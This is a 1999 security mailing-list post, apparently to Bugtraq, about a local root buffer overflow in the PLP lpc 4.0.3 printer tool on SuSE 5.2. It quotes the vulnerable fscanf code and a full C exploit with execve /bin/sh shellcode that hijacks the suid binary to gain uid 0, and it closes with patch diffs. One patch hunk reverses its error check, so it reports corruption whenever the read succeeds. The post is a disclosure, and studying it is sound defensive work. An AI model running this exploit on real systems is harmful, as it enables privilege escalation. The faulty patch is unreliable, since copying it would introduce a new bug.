Date: Wed, 3 Feb 1999 07:58:36 -0000
From: [email protected]
To: [email protected]Subject: Linux /usr/bin/lpc overflow
greetings,
INFO:
There is a local root comprimise hole in PLP Line Printer Control program,
version 4.0.3, which is SuSE 5.2's /usr/bin/lpc. Most other unices use a
different version of lpc (including SuSE 5.1). You can check your version
by typing "lpc" and seeing if you get the PLP version or just "lpc>" which
is not vulnerable.
The offending code is in displayq.c and control_ops.c, where we see:
---
char afname[MAXPARMLEN]; /* attach file name */
...
if (fscanf (afp, "%s", afname) == 1) {
---
EXPLOIT:
xnec_lpc.c
----snip----
/*
Standard overflow for x86 linux lpc. PLP Line Printer Control program,
version 4.0.3. Tested on SuSE 5.2 (suidroot). Test your copy of /usr/bin/lpc
by trying an /usr/bin/lpc attach lp `perl -e "print 'A' x 1000"`;lpc status lp
The problematic code is in displayq.c and control_ops.c, where we attempt
to fscanf() the lockfile's contents into a fixed length buffer. See the
Bugtraq post for full fix information(www.geek-girl.com/bugtraq).
The buffer we're overflowing is 256bytes, and an offset of 0 works just fine.
Try in increments of +-100 if it doesn't work for you.
Obviously this is a complete rip of Aleph1's standard overflow program from
his paper "smashing the stack for fun and profit".
to compile:
gcc -o xnec_lpc xnec_lpc.c
bugs: only sets uid=0, and you may have to have a printer defined (lp on my
box).
greets to #sk1llz
-xnec
xnec on EF and DALnet, [email protected]
*/
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 356
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char pause;
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
printf("\nPLP Line Printer Control program, version 4.0.3 overflow.\n");
printf("Bug found by xnec, code ripped from Aleph1. After running this
program, simply compile and run:\n---\n#include <unistd.h>
void main(){system(\"/bin/bash\");}\n---\n");
scanf("%c", pause);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("`which lpc` attach lp $RET; `which lpc` status lp");
}
----snip----
FIX:
While you COULD use these diff's to patch up your lpc, I would recommend
against it as there is a perfectly good alternative in the line printer suite
available in the form of lpr-tlr-971016.tar.gz. This is included in SuSE
5.2's source library. If you insist on using PLP, here you go:
--- /usr/src/packages/SOURCES/origplp/plp-4.0.3/src/common/control_ops.c Thu Jun 15 14:09:12 1995
+++ /usr/src/packages/SOURCES/newplp/plp-4.0.3/src/common/control_ops.c Wed Feb
3 12:36:17 1999
@@ -676,7 +676,7 @@
att_mark = False;
if ((afp = fopen_daemon (Attach_file, "r"))) { /* Try to open attach file */
- if (fscanf (afp, "%s", afname) == 1) {
+ if (fgets (afname, sizeof(afname), afp) != NULL) {
if (strsame (afname, Printer)) {
fatal (XLOG_INFO, "Printer '%s' attached to itself", Printer);
}
@@ -1622,7 +1622,7 @@
if ((s = C_abort ())) {
if (stat (Attach_file, &statb) == 0) {
if ((afp = fopen_daemon (Attach_file, "r"))) {
- if (fscanf (afp, "%s", afname) != 1) {
+ if (fgets (afname, sizeof(afname), afp) != NULL) {
fatal (XLOG_INFO, "attach file for printer %s corrupted!",
Printer);
}
--- /usr/src/packages/SOURCES/origplp/plp-4.0.3/src/common/displayq.c Tue Aug
29 12:44:35 1995
+++ /usr/src/packages/SOURCES/newplp/plp-4.0.3/src/common/displayq.c Wed Feb
3 12:35:37 1999
@@ -99,7 +99,7 @@
* check to see if attached to another printerq, alter printer if attached
*/
if (Attach_file && *Attach_file && ((afp = fopen (Attach_file, "r")))) {
- if (fscanf (afp, "%s", afname) == 1) {
+ if (fgets (afname, sizeof(afname), afp) != NULL) {
if (strsame (afname, Printer)) {
fatal (XLOG_INFO, "Printer '%s' attached to itself", Printer);
}
-xnec
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# [email protected] - xnec on IRC EF and DALnet #
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